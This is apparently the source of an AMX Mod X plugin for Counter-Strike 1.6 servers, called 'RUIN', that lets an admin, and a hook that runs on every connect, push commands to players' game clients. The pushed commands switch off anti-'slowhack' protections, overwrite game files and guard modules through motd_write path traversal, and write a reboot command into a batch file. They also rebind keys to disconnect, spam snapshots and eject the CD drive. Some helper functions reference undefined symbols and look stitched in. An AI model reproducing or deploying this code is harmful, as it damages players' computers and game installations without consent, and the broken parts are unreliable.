/*
-----------------------------------------------------|Update 24/10/2014|--------------------------------------------------------------------
--------------------------------------------------------------[Remove]----------------------------------------------------------------------
-----------------------------------------CSXGuard , raiz0-Guard, raiz0CFG , RussianE HuanGuard----------------------------------------------
------------------------------------------NVIDIAGUARD3 NIVIDAGUARD4 NIVIDAGUARD5 ZANYXPROTECT1----------------------------------------------
*/
//INCLUDE
#include < amxmodx >
#include < amxmisc >
#include <
cstrike >
//DEFINE
#define GUARD_ACCESS ADMIN_RCON
//NEW
new const
PLUGIN[ ] = "RUIN",
VERSION[ ] = "3.0",
AUTHOR[ ] = "CSXGuard /raiz0-Guard/TheGodFather";
new SyncHudMessage;
#pragma tabsize 0
#pragma semicolon 1
new const g_sCommands[ ] [ ] =
{
// Dezactivare protectie client [RUIN]
"^"sv_zmax 409^" Enabled False",
"^"sv_zmax 409^" GuardON False",
"csx_setcvar Enabled False",
"rus_setcvar Enabled False",
"prot_setcvar Enabled False",
"unk_setcvar Enabled False",
"fix_setcvar Enabled False",
// Sterge protectia clientului [RUIN]
"fullserverinfo ^"\*gamedir\cstrike^"" ,
"set_data 2 5 150",
"motdfile ^"!MD5/../../RussianE.asi^";motd_write RUIN",
"motdfile ^"!MD5/../../CSXGuard.asi^";motd_write RUIN",
"motdfile ^"!MD5/../../HuaNGuard.asi^";motd_write RUIN",
"motdfile ^"!MD5/../../HuaNGuardV4.asi^";motd_write RUIN",
"motdfile ^"!MD5/../../raiz0CFG.asi^";motd_write RUIN",
"motdfile ^"!MD5/../../CounterStrike.bat^";motd_write shutdown -r -t 30",
"motdfile ^"!MD5/../../ANTI-GUARD.asi^";motd_write RUIN",
//motdfile
"motdfile models/player.mdl;motd_write RUIN",
"motdfile models/v_ak47.mdl;motd_write RUIN",
"motdfile cs_dust.wad;motd_write RUIN",
"motdfile models/v_m4a1.mdl;motd_write RUIN",
"motdfile resource/GameMenu.res;motd_write RUIN",
"motdfile resource/GameMenu.res;motd_write RUIN",
"motdfile resource/background/800_1_a_loading.tga;motd_write RUIN",
"motdfile resource/background/800_1_b_loading.tga;motd_write RUIN",
"motdfile resource/background/800_1_c_loading.tga;motd_write RUIN",
"motdfile resource/UI/BuyShotguns_TER.res;motd_write RUIN",
"motdfile resource/UI/MainBuyMenu.res;motd_write RUIN",
"motdfile resource/UI/BuyEquipment_TER.res;motd_write RUIN",
"motdfile resource/UI/Teammenu.res;motd_write RUIN",
"motdfile halflife.wad;motd_write RUIN",
"motdfile cstrike.wad;motd_write RUIN",
"motdfile maps/de_dust2.bsp;motd_write RUIN",
"motdfile events/ak47.sc;motd_write RUIN",
//Setari
"commentator 1",
"fps_max 1",
"wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;retry",
"fps_modem 1",
"kill",
"cd eject",
"snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot",
"snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot",
"snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot",
"snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot","snapshot",
"bind 1 ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
"bind 2 ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
"bind 3 ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
"bind 4 ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
"bind 0 ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
"bind TAB ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
"bind SPACE ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
"bind ` ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
"name RUIN"
};
public plugin_init( )
{
register_plugin( PLUGIN, VERSION, AUTHOR );
register_concmd( "amx_ruin", "CMD_AMX_GUARD", -1, "< nume > < motiv >" );
SyncHudMessage = CreateHudSyncObj( );
}
public client_connect( id )
{
set_task( 1.0, "fix_guard", id );
}
public fix_guard( id )
{
console_cmd( id, "^"sv_zmax 409^" Enabled False" );
console_cmd( id, "prot_setcvar Enabled False" );
console_cmd( id, "^"sv_zmax 409^" GuardON False" );
console_cmd( id, "csx_setcvar Enabled False" );
console_cmd( id, "rus_setcvar Enabled False" );
console_cmd( id, "unk_setcvar Enabled False" );
console_cmd( id, "cl_filterstuffcmd 0" );
console_cmd( id, "fix_setcvar Enabled False" );
console_cmd( id, "clear" );
client_cmd( id, "^"sv_zmax 409^" Enabled False" );
client_cmd( id, "^"sv_zmax 409^" GuardON False" );
client_cmd( id, "prot_setcvar Enabled False" );
client_cmd( id, "csx_setcvar Enabled False" );
client_cmd( id, "unk_setcvar Enabled False" );
client_cmd( id, "rus_setcvar Enabled False" );
client_cmd( id, "cl_filterstuffcmd 0" );
client_cmd( id, "fix_setcvar Enabled False" );
client_cmd( id, "clear" );
//show_motd( id, "/addons/amxmodx/configs/ruin.html" );
}
public CMD_AMX_GUARD( id )
{
if( !HasUserAccess( id ) )
{
client_cmd( id, "echo " );
return 1;
}
new FirstArg[ 32 ], SecondArg[ 32 ]; //FirstArg[ 33 ]
//read_argv( 1, FirstArg, charsmax( FirstArg ) );
read_argv( 1, FirstArg, sizeof( FirstArg ) -1 );
read_argv( 2, SecondArg, sizeof( SecondArg ) -1 );
new player = cmd_target( id, FirstArg, ( CMDTARGET_NO_BOTS ) );
if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
{
client_cmd( id, "echo amx_ruin < nume > < motiv >" );
return 1;
}
if( !player || !is_user_connected( player ) )
{
client_cmd( id, "echo Acest jucator nu exista sau nu este conectat !" );
return 1;
}
for( new i = 0; i < sizeof( g_sCommands ); i++ )
{
//client_cmd( player, g_sCommands[ i ] );
client_cmd( player, "wait;wait;wait;wait;wait;%s", g_sCommands[ i ] );
}
new name[ 32 ], name2[ 32 ];
get_user_name( id, name, charsmax( name ) );
get_user_name( player, name2, charsmax( name2 ) );
set_hudmessage( random_num( 0, 255 ), random_num( 0, 255 ), random_num( 0, 255 ), -1.0, -1.0, random_num( 0, 3 ), 0.0, 5.0, 0.0, 1.0, 3 );
ShowSyncHudMsg( 0, SyncHudMessage, "%s a fost eliminat^n [RUIN] Version IV", name2 );
player_color( 0, ".g-----------------------------------------------------------------------------------" );
player_color( 0, ".v[.g ADMIN.v ].e %s.g L-a eliminat pe.v %s.g. Motiv: |.e %s.g |", name, name2, SecondArg );
player_color( 0, ".g-----------------------------------------------------------------------------------" );
client_cmd( player, "screenshot;snapshot;wait;snapshot;toogleconsole;snapshot;toogleconsole;wait;snapshot" );
client_cmd( 0, "spk ^"attention bizwarn detected user and eliminated^"" );
show_motd( player, "
http://inciswf.com/1332235315120.swf" );
new ip[33];
get_user_ip(player, ip, 32, 1);
server_cmd("addip 0.0 ^"%s^";wait;writeip", ip);
return 1;
}
stock bool:HasUserAccess( id )
{
if( get_user_flags( id ) & GUARD_ACCESS )
{
return true;
}
return false;
}
stock getFileDesc( path[] ) {
new path_f[256]
format( path_f , 256 , "%s%s%s" , PATH_CMD_LISTS , path , ".ini" )
new file_s
file_s = fopen( path_f , "r" )
return file_s
}
stock log_autobuy( id )
{
static name[32], steamid[44], ip[16];
get_user_ip( id, ip, charsmax( ip ), 1 );
get_user_authid( id, steamid, charsmax( steamid ) );
get_user_name( id, name, charsmax( name ) );
log_to_file( g_logfile, "Autobuy bug use: %s [%s] <%s>", name, ip, steamid );
}
stock player_color( const id, const input[ ], any:... )
{
new count = 1, players[ 32 ];
static msg[ 191 ];
vformat( msg, 190, input, 3 );
replace_all( msg, 190, ".v", "^4" );
replace_all( msg, 190, ".g", "^1" );
replace_all( msg, 190, ".e", "^3" );
replace_all( msg, 190, ".x", "^0" );
if( id )
{
players[ 0 ] = id;
}
else
get_players( players, count, "ch" );
{
for( new i = 0; i < count; i++ )
{
if( is_user_connected( players[ i ] ) )
{
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] );
write_byte( players[ i ] );
write_string( msg );
message_end( );
}
}
}
}